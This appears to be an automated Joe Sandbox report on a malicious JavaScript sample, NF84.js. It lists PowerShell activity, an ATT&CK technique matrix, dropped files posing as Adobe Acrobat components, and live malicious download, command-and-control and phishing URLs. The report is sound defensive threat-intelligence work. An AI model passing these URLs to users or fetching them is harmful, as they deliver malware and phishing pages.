Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	53 Scripting	1 Replication Through Removable Media	1 Exploitation for Client Execution	53 Scripting	11 Process Injection	21 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Data Encoding	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NF84.js	8%	Virustotal		Browse
NF84.js	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\avutil.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\avutil.dll	18%	Virustotal	Browse
C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\fec.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\fec.exe	0%	Virustotal	Browse
C:\Windows\Installer\MSI4090.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI4090.tmp	1%	Virustotal	Browse
C:\Windows\Installer\MSI411E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI415E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI418D.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI41CD.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44	0%	Avira URL Cloud	safe
https://i.imgur.com/N24FdEJ.png	0%	Avira URL Cloud	safe
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e447	0%	Avira URL Cloud	safe
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44QA	0%	Avira URL Cloud	safe
https://code.jquery.com/jquery-3.5.1.slim.min.js	0%	Avira URL Cloud	safe
https://danfe.top/baixar-aplicativo/?app=Kra.msi	0%	Avira URL Cloud	safe
https://pdfmail.icu/arquivo/lista/pdf.png	0%	Avira URL Cloud	safe
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js	0%	Avira URL Cloud	safe
https://i.imgur.com/6Ke8DF2.png	0%	Avira URL Cloud	safe
https://code.jquery.com/jquery-3.5.1.slim.min.js	1%	Virustotal		Browse
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44ath	0%	Avira URL Cloud	safe
https://danfe.top/baixar-aplicativo/?app=Kra.msi	2%	Virustotal		Browse
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44tCookies	0%	Avira URL Cloud	safe
https://ms-edge.link/contkra/serv.php	0%	Avira URL Cloud	safe
https://pdfmail.icu/favicon.ico	0%	Avira URL Cloud	safe
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js	0%	Virustotal		Browse
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44dE	0%	Avira URL Cloud	safe
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44(	0%	Avira URL Cloud	safe
https://ms-edge.link/contkra/s	0%	Avira URL Cloud	safe
https://ms-edge.link/contkra/serv.php	0%	Virustotal		Browse
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44ction%2	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=mEVD3YfS3NaV4bAZBwcoyRT8%2BU%2Fk82D5BONCwigxCREFwN0p8Wsth3wBtGmibNx7mMBTFC1A4f3y6JS8qRA8GgywIhu%2FbnImT2vKR2oM9Vx%2FQl7lFffg0PzEaf%2BQyQ%3D%3D	0%	Avira URL Cloud	safe
https://i.imgur.com/HTxGcIM.png	0%	Avira URL Cloud	safe
https://danfe.top/baixar-aplic	0%	Avira URL Cloud	safe
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css	0%	Avira URL Cloud	safe
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44ing%2C1	0%	Avira URL Cloud	safe
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	unknown
ms-edge.link	104.21.7.178	true	true	unknown
pdfmail.icu	188.114.96.3	true	true	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
code.jquery.com	151.101.2.137	true	false	unknown
danfe.top	188.114.97.3	true	true	unknown
www.google.com	142.250.186.68	true	false	unknown
ipv4.imgur.map.fastly.net	199.232.196.193	true	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	unknown
i.imgur.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://i.imgur.com/N24FdEJ.png	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.5.1.slim.min.js	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://danfe.top/baixar-aplicativo/?app=Kra.msi	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pdfmail.icu/arquivo/lista/pdf.png	false	Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://i.imgur.com/6Ke8DF2.png	false	Avira URL Cloud: safe	unknown
https://ms-edge.link/contkra/serv.php	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44	false		unknown
https://pdfmail.icu/favicon.ico	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=mEVD3YfS3NaV4bAZBwcoyRT8%2BU%2Fk82D5BONCwigxCREFwN0p8Wsth3wBtGmibNx7mMBTFC1A4f3y6JS8qRA8GgywIhu%2FbnImT2vKR2oM9Vx%2FQl7lFffg0PzEaf%2BQyQ%3D%3D	false	Avira URL Cloud: safe	unknown
https://i.imgur.com/HTxGcIM.png	false	Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44QA	wscript.exe, 00000001.00000003.2525402760.0000021092941000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2526874312.0000021092951000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44	wscript.exe, 00000001.00000003.1567053245.00000210948D1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e447	wscript.exe, 00000001.00000003.2525692193.00000210929D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527135939.00000210929D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44ath	wscript.exe, 00000001.00000003.2525402760.0000021092941000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2526874312.0000021092951000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44tCookies	wscript.exe, 00000001.00000003.2525402760.0000021092941000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2526874312.0000021092951000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44dE	wscript.exe, 00000001.00000003.2525798043.0000021092992000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525830382.0000021092998000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525402760.0000021092988000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527022297.0000021092999000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44(	wscript.exe, 00000001.00000003.2525563569.00000210929AC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525402760.0000021092988000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527022297.00000210929B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ms-edge.link/contkra/s	wscript.exe, 00000001.00000003.2523501533.0000021094897000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2524292238.00000210948A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523731004.00000210948AD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523433858.00000210948AB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2524567747.00000210948A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2524893253.00000210948A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523620022.00000210948AB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523674599.000002109489D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2522922246.000002109487E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2524065685.00000210948A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2526461077.00000210948C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525145933.00000210948B0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523433858.000002109487F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2522854173.0000021094952000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2522922246.00000210948AB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527632506.00000210948A2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44ction%2	wscript.exe, 00000001.00000003.2525798043.0000021092992000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525830382.0000021092998000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525402760.0000021092988000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527022297.0000021092999000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://danfe.top/baixar-aplic	wscript.exe, 00000001.00000003.2524807734.0000021094945000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2522887538.000002109493B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523590015.000002109493E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44ing%2C1	wscript.exe, 00000001.00000003.2525798043.0000021092992000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525830382.0000021092998000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525402760.0000021092988000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527022297.0000021092999000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.21.7.178	ms-edge.link	United States	13335	CLOUDFLARENETUS	true
199.232.196.193	ipv4.imgur.map.fastly.net	United States	54113	FASTLYUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
104.18.11.207	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	danfe.top	European Union	13335	CLOUDFLARENETUS	true
188.114.96.3	pdfmail.icu	European Union	13335	CLOUDFLARENETUS	true
151.101.194.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.9

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1516334
Start date and time:	2024-09-24 06:28:21 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NF84.js
Detection:	MAL
Classification:	mal100.expl.evad.winJS@27/63@30/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 172.217.18.110, 64.233.184.84, 34.104.35.123, 142.250.185.74, 142.250.184.195, 217.20.57.18, 104.18.186.31, 104.18.187.31, 192.229.221.95, 142.250.185.131, 199.232.210.172, 142.250.185.110
Excluded domains from analysis (whitelisted): clients1.google.com, fonts.googleapis.com, cdn.jsdelivr.net.cdn.cloudflare.net, accounts.google.com, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:29:49	API Interceptor	61x Sleep call for process: powershell.exe modified
00:31:01	API Interceptor	152x Sleep call for process: conhost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.2.137	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://applela.za.com/isignesp.php?id=	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://awqffg.newburuan2023.biz.id/next.php	Get hash	malicious	HTMLPhisher	Browse	code.jquery.com/jquery-1.10.2.min.js
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
104.21.7.178	https://padlet.com/christinerussell1/tsicom-llc-final-bid-contract-invoice-payment-approved-1z65vi4eb7ki6npk	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
199.232.196.193	https://dltxc.s3.ap-southeast-1.amazonaws.com/svs/wx.htm?eml=test@yahoo.com	Get hash	malicious	HTMLPhisher	Browse
	https://saltlakeinsider.com/wp-content/themes/travel/ghgh/red.html	Get hash	malicious	Unknown	Browse
	http://104.219.233.181/fwd/P2Q9MjU2Mjc5JmVpPTcyODUyMjcyJmlmPTUxNDQyJm5kcD03OTgzJnNpPTE3JmxpPTIyMzcz	Get hash	malicious	Phisher	Browse
	https://uber-dot-yamm-track.appspot.com/23n9C3332xIef2u5qB3FsmMdRmfEUl0juRObEDek2QVW5jqPgkQEUDSjSUOie_PPRN8ZIzLjnKIYf_EcAN6wtHAg6tDGTRfHt9lfAtxT0weLuCVbKoSw6asqJ_UhM7uDzWEWI_6d_QbLGjPw8-X4Ds4m4YHqne99SLBLa7IzDhqNM5JIp-h783DTvcZTRawQQ0zSL	Get hash	malicious	Unknown	Browse
	https://ad.doubleclick.net/ddm/clk/586708840;395014688;z	Get hash	malicious	HTMLPhisher	Browse
	https://bafkreih4ip5zjsxef3jbe32pyegreos33fovmx4546n5bglt5plmopvjiq.ipfs.dweb.link/	Get hash	malicious	HTMLPhisher	Browse
	http://bafkreih4ip5zjsxef3jbe32pyegreos33fovmx4546n5bglt5plmopvjiq.ipfs.cf-ipfs.com/	Get hash	malicious	HTMLPhisher	Browse
	https://carrefour-backtoschool17.pages.dev/emira	Get hash	malicious	Unknown	Browse
	https://xoltn8lml-xn--rsskxdix-xn----c1a2cj-xn----p1ai.translate.goog/lIiWmTXh/joI7Q/eFiNV?Y214bmIyMWxla0IyYUdOb1pXRnNkR2d1YjNKbjpjQ3FjTg+&_x_tr_sch=http&_x_tr_sl=UKwUamiM&_x_tr_tl=QiIRWGts	Get hash	malicious	HTMLPhisher	Browse
	http://instagrab000.blogspot.com/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	https://forms.office.com/Pages/ShareFormPage.aspx?id=atlxJ-ZfTkmpiBz5GOrQZra6YH8IF9tJvDnK9FEosBRUNUoySTNMSlhENTkyTjRFS0pYUFBWREJDVS4u&sharetoken=VjI7W44Fh45blPkj2SeD	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://wanshaofu.top/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	ffa72d5-Cabinetworksgroup Inv23998.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	Play_VM-Now(Lmurray)CQDM.html	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://twwi.documentother.com/ihdLI	Get hash	malicious	Unknown	Browse	104.18.10.207
	ATTENTION--VM_MSG_Play(Samuel.barras)VoIP.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://1h39x.trk.elasticemail.com/tracking/click?d=tYaauU9whj4-N0lwi4CceDE-FCxg92UeIvO3as00zrZWd6M6pCDWUsyivbyvK6kiQxkVcr9mH60eqxwB1jtccPermpLxGr1HYQPhK11mYFEerAwTrlzfkEil4kNwWo6_UCA81x0wWP27mnKJuIQHWLHY8RO5tPgdFyQGICKJoQUONPhx_fvDQObHR9gPv3vA8w2#cnichols@derickdermatology.com	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.18.11.207
	https://supportwhatsapp.com/	Get hash	malicious	Unknown	Browse	104.18.11.207
	http://supermario-game.com/de	Get hash	malicious	Unknown	Browse	104.18.10.207
	http://myetherwallets.kr/	Get hash	malicious	Unknown	Browse	104.18.11.207
code.jquery.com	http://steamcommninty.com/gift/27655982039456778234589	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://lju.fcs.mybluehost.me/wp-content/uploads/2025/Amnd24/infospage.php	Get hash	malicious	Unknown	Browse	151.101.130.137
	http://sueamcoommunnlty.com/joining/add	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://app.decktopus.com/share/PbS738/1	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	http://app.decktopus.com/share/PbS738/1	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://clean-air-1727102338192.siter.io/	Get hash	malicious	HtmlDropper	Browse	151.101.2.137
	https://eu-west-1.protection.sophos.com/?d=doubleclick.net&u=aHR0cHM6Ly9hZC5kb3VibGVjbGljay5uZXQvZGRtL2Nsay80NzI4NzM5MzQ7Mjc4OTA5MTE1O3k_Ly8lRTIlODAlOEJzeSVDMiVBRHNyJUMyJUFEZSVDMiVBRHYlQzIlQURpJUMyJUFEZSVDMiVBRHclQzIlQUQudCVFMiU4MCU4QmFyJUMyJUFEaSVDMiVBRGslQzIlQUR1JUMyJUFEbC5jJUMyJUFEbyVDMiVBRG0vMzUyOC9ZV1J0YVc1QWRHaGxaMmhsYm5SbmNtOTFjQzVqYjIwPS8zNTI4LzM1Mjg=&p=m&i=NjEwYjE2Y2U0Zjc0MWMwZTk2MmNlZjk5&t=YzhQK0ozMTg5ZHZISEsvMjVIZk1oR2x3dHJtdjd0NDJzV0R3SmFSY0xnND0=&h=e159a7d174b64613964ce7f18ba9acf9&s=AVNPUEhUT0NFTkNSWVBUSVbXJldVmaV0WYxfMT-BjNT6dEipLxbn94Hs6quwmec4Kg	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://keckwoods.com/offlce-Mlcrosoft-Teams-Documents-Click-Here-To-Open	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://email.lndg.page/ls/click?upn=u001.IvLseMgsVhVvzUpwRiP-2FwHcYgYhC-2FGgyJ4SYlOmfnU0vpk3F-2FdnKwGEcikPNWl7AuE6IkZZ1A-2BFPEyDboqe-2B7Lj4-2FBLrURhM6P-2BVimmhP8ywtnU0tiSwJiHclGExadMkPbv31fArzKsBOdpDUi6FfV4X-2FXMq-2BLiUPVu9cZK2rUixRgPxeHjooE5ANKgz5LO2r1HvkRajramOrfuxyTj5F-2F9ha-2BAfwp8bzuwfnEGUXnAMft6NCcqA5FJmV8JfQ0-2FwKaMV_Yp4ydSxZWNatis3HtI6bBrJjg57JYwT6kbyY2f89Z-2FD59pf6KKODwP63UPLy27mgp-2FqTgdFleUsG4ygMdisVJJ0CDq1iL9Ljh5jCrVrbyQsE9Ko6GU4XMfNXGxlhkGjM5VU4HzKNBs1MjxGZ2qRKEJ-2F3V58K5D3LGyY1HE-2BVQpxmLTX1WQNHahobwGsL7GcnagwUjT9o0F5vg9CkCA30qw-3D-3D	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://forms.office.com/Pages/ShareFormPage.aspx?id=atlxJ-ZfTkmpiBz5GOrQZra6YH8IF9tJvDnK9FEosBRUNUoySTNMSlhENTkyTjRFS0pYUFBWREJDVS4u&sharetoken=VjI7W44Fh45blPkj2SeD	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
ipv4.imgur.map.fastly.net	https://dltxc.s3.ap-southeast-1.amazonaws.com/svs/wx.htm?eml=test@yahoo.com	Get hash	malicious	HTMLPhisher	Browse	199.232.196.193
	https://saltlakeinsider.com/wp-content/themes/travel/ghgh/red.html	Get hash	malicious	Unknown	Browse	199.232.196.193
	https://steamcummunllty.com/gift-card/638619521	Get hash	malicious	Unknown	Browse	199.232.192.193
	http://104.219.233.181/fwd/P2Q9MjU2Mjc5JmVpPTcyODUyMjcyJmlmPTUxNDQyJm5kcD03OTgzJnNpPTE3JmxpPTIyMzcz	Get hash	malicious	Phisher	Browse	199.232.196.193
	https://uber-dot-yamm-track.appspot.com/23n9C3332xIef2u5qB3FsmMdRmfEUl0juRObEDek2QVW5jqPgkQEUDSjSUOie_PPRN8ZIzLjnKIYf_EcAN6wtHAg6tDGTRfHt9lfAtxT0weLuCVbKoSw6asqJ_UhM7uDzWEWI_6d_QbLGjPw8-X4Ds4m4YHqne99SLBLa7IzDhqNM5JIp-h783DTvcZTRawQQ0zSL	Get hash	malicious	Unknown	Browse	199.232.192.193
